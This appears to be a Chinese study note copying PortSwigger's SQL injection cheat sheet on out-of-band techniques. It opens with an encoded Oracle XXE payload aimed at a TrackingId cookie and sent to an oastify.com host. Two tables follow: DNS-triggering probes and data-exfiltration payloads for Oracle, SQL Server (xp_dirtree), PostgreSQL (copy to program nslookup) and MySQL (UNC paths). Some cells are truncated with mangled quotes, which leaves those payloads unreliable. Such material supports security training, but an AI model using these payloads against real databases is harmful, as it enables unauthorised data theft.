https://portswigger.net/web-security/sql-injection/cheat-sheet

1
2
Payload(特殊字符编码):
TrackingId=tOd1M3PauSPFaqZQ'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//lrg2i6ohdaqaifqyhgeza0lxsoyfm5au.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

1. 基础探测(验证是否存在注入)

数据库类型 核心语法 / 函数 代码示例(将 SUBDOMAIN 换成你的地址)
Oracle extractvalue (XML) SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Oracle (高权限) UTL_INADDR SELECT UTL_INADDR.get_host_address('SUBDOMAIN')
SQL Server xp_dirtree exec master..xp_dirtree '//SUBDOMAIN/a'
PostgreSQL copy ... to program copy (SELECT '') to program 'nslookup SUBDOMAIN'
MySQL (Windows) LOAD_FILE SELECT LOAD_FILE('\\\\SUBDOMAIN\\a')

2. 数据外泄(把查询结果带出来)

数据库类型 关键逻辑 代码示例(YOUR-QUERY 是你要查的数据)
Oracle 拼接 URL 字符串 `SELECT EXTRACTVALUE(xmltype(‘<!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://‘
SQL Server 声明变量并拼接 declare @p varchar(1024); set @p=(YOUR-QUERY); exec('master..xp_dirtree "//'+@p+'.SUBDOMAIN/a"')
PostgreSQL 定义函数执行 `create function f() returns void as $$declare c text; p text; begin SELECT into p (YOUR-QUERY); c := ‘copy (SELECT ‘’’’) to program ‘’nslookup ‘
MySQL (Windows) 导出到 UNC 路径 SELECT YOUR-QUERY INTO OUTFILE '\\\\SUBDOMAIN\a'

  1. 拼接符号:Oracle 和 PostgreSQL 使用 || 来连接字符串,SQL Server 使用 +
  2. 双斜杠 \\:在 SQL Server 和 MySQL 中,那是为了表示 Windows 的网络共享路径(UNC),这是触发 DNS 请求最简单的办法。
  3. 限制条件:MySQL 的这个招数基本只能在 Windows 版的服务器上用;Oracle 的 XML 方法最通用,但代码也最长。